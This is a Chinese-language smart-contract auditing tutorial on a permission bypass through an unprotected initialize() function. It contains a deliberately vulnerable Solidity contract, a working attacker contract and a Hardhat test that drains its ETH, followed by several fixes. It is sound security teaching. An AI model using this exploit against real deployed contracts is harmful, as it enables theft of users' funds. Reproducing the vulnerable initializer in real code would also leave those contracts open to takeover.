实战2:绕过权限检查 —— 从“构造函数”到“初始化”的陷阱
权限漏洞是智能合约安全审计中的高频高危项。本实战将通过一个因初始化函数未受保护而导致的权限绕过案例,演示攻击者如何轻松获得合约控制权,并给出相应的防御方案。
一、场景设定
我们有一个可升级合约的设计雏形(实际生产中使用代理模式),为了便于理解,我们直接使用一个逻辑合约,它本应在部署时由管理员初始化 owner,但初始化函数没有限制只能调用一次,也没有限制调用者。任何人在合约部署后都可以调用 initialize() 将自己设为 owner,从而获取所有敏感权限。
这种错误在真实世界中屡见不鲜,尤其在使用代理模式时,因为代理合约不会执行逻辑合约的构造函数,必须单独调用
initialize函数。如果该函数不加保护,后果就是“人人皆可成 owner”。
二、漏洞合约(VulnerableLogic.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract VulnerableLogic {
address public owner;
bool public initialized;
// ❌ 未使用任何修饰符限制调用次数和调用者
function initialize() external {
// 虽然是手动检查,但只检查了一次,且任何人都可以调用
require(!initialized, "Already initialized");
owner = msg.sender;
initialized = true;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
// 敏感操作:提取合约中的所有 ETH
function sweep() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
// 敏感操作:销毁合约(模拟)
function kill() external onlyOwner {
selfdestruct(payable(owner));
}
// 查看合约余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
漏洞分析:
initialize函数虽然使用了initialized标记来防止二次初始化,但没有限制调用者,意味着任何人都可以在合约刚部署、initialized为false时调用它。- 攻击者一旦成为
owner,就能调用sweep和kill,完全控制合约和资金。
三、攻击者合约(Attack.sol)
攻击者不需要复杂的回调,只需在部署漏洞合约后立即调用 initialize 抢夺 owner 权限。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./VulnerableLogic.sol";
contract Attack {
VulnerableLogic public target;
address public owner;
constructor(address _target) {
target = VulnerableLogic(_target);
owner = msg.sender;
}
// 攻击入口:调用 initialize 成为 owner
function becomeOwner() external {
target.initialize();
}
// 调用 sweep 提走资金
function steal() external {
require(msg.sender == owner, "Not attack owner");
target.sweep();
}
// 提取攻击所得
function withdrawProfit() external {
require(msg.sender == owner, "Not attack owner");
payable(owner).transfer(address(this).balance);
}
receive() external payable {}
}
攻击流程:
- 管理员部署
VulnerableLogic合约,但忘记立即调用initialize()(或者由于某种原因延迟了初始化)。 - 攻击者监控到该合约上线,立即调用
Attack.becomeOwner(),触发target.initialize(),将owner设置为攻击者合约。 - 此时攻击者已经拥有
owner权限,可以调用steal()将合约中的 ETH 转走(如果合约中已有资金,比如有用户已经存入)。 - 攻击者随后
withdrawProfit()将资金转到自己的 EOA 账户。
四、实战操作(Hardhat + 测试脚本)
以下是一个 Hardhat 测试脚本,演示攻击全过程:
// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("权限绕过攻击", function () {
let vulnerable, attack;
let owner, attacker, user;
beforeEach(async function () {
[owner, attacker, user] = await ethers.getSigners();
// 部署漏洞合约
const Vulnerable = await ethers.getContractFactory("VulnerableLogic");
vulnerable = await Vulnerable.deploy();
await vulnerable.deployed();
// 模拟用户向合约存入 10 ETH(正常使用)
await user.sendTransaction({
to: vulnerable.address,
value: ethers.utils.parseEther("10"),
});
});
it("攻击者应能绕过权限检查,提走所有资金", async function () {
// 1. 攻击者部署攻击合约
const Attack = await ethers.getContractFactory("Attack");
attack = await Attack.connect(attacker).deploy(vulnerable.address);
await attack.deployed();
// 2. 攻击者调用 becomeOwner,成为 target 的 owner
await attack.connect(attacker).becomeOwner();
// 验证 owner 已经变成攻击合约
const currentOwner = await vulnerable.owner();
expect(currentOwner).to.equal(attack.address);
// 3. 攻击者调用 steal,将合约中的 ETH 转到攻击合约
await attack.connect(attacker).steal();
// 4. 验证漏洞合约余额变为 0
const contractBalance = await vulnerable.getBalance();
expect(contractBalance).to.equal(0);
// 5. 攻击者提取利润到自己的 EOA
await attack.connect(attacker).withdrawProfit();
const attackerBalance = await ethers.provider.getBalance(attacker.address);
// 攻击者应获得约 10 ETH(减去 gas 消耗)
expect(attackerBalance).to.be.gt(ethers.utils.parseEther("9.5"));
});
});
五、防御修复
方案一:使用 OpenZeppelin 的 Initializable 库(推荐)
OpenZeppelin 提供了标准的 initializer 修饰符,确保初始化函数只能被调用一次,并且通常在构造函数中或部署后立即调用。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract SafeLogic is Initializable {
address public owner;
// ✅ 使用 initializer 修饰符,确保只被调用一次
function initialize() external initializer {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function sweep() external onlyOwner {
payable(owner).transfer(address(this).balance);
}
function kill() external onlyOwner {
selfdestruct(payable(owner));
}
}
注意:此合约用于代理模式时,还需要在构造函数中调用
_disableInitializers()以防止逻辑合约被直接初始化。
方案二:在构造函数中完成初始化(非代理模式)
如果合约不打算升级,直接使用构造函数即可:
contract SafeContract {
address public owner;
constructor() {
owner = msg.sender;
}
// ... onlyOwner 函数
}
方案三:添加调用者限制
如果不想引入外部库,至少要在 initialize 中限制调用者,例如:
address public deployer;
constructor() {
deployer = msg.sender;
}
function initialize() external {
require(msg.sender == deployer, "Only deployer can initialize");
require(!initialized, "Already initialized");
owner = msg.sender;
initialized = true;
}
六、扩展:其他权限绕过场景
- 构造函数拼写错误(Solidity 0.4.x):函数名与合约名不一致,变成普通函数,任何人都可调用。
delegatecall权限混淆:库合约的初始化函数未保护,攻击者通过delegatecall修改调用方的存储。tx.origin滥用:使用tx.origin进行权限验证,可能被钓鱼攻击绕过。- 权限转移时未检查零地址:将
owner设置为address(0),导致所有权限永久失效(这也是另一种形式的“绕过”,因为任何人都无法再执行,但攻击者可能利用其他漏洞)。
七、总结
- 权限检查是所有安全防御的第一道闸门,一旦失守,合约形同虚设。
- 初始化函数(
initialize)必须严格控制调用次数和调用者,推荐使用 OpenZeppelin 的标准库。 - 审计时务必检查所有能够改变关键状态(如
owner、admin、pauser)的函数,确保它们有足够的限制。 - 不要依赖“我很快会调用初始化”这种信任,链上是公平竞争,先到先得。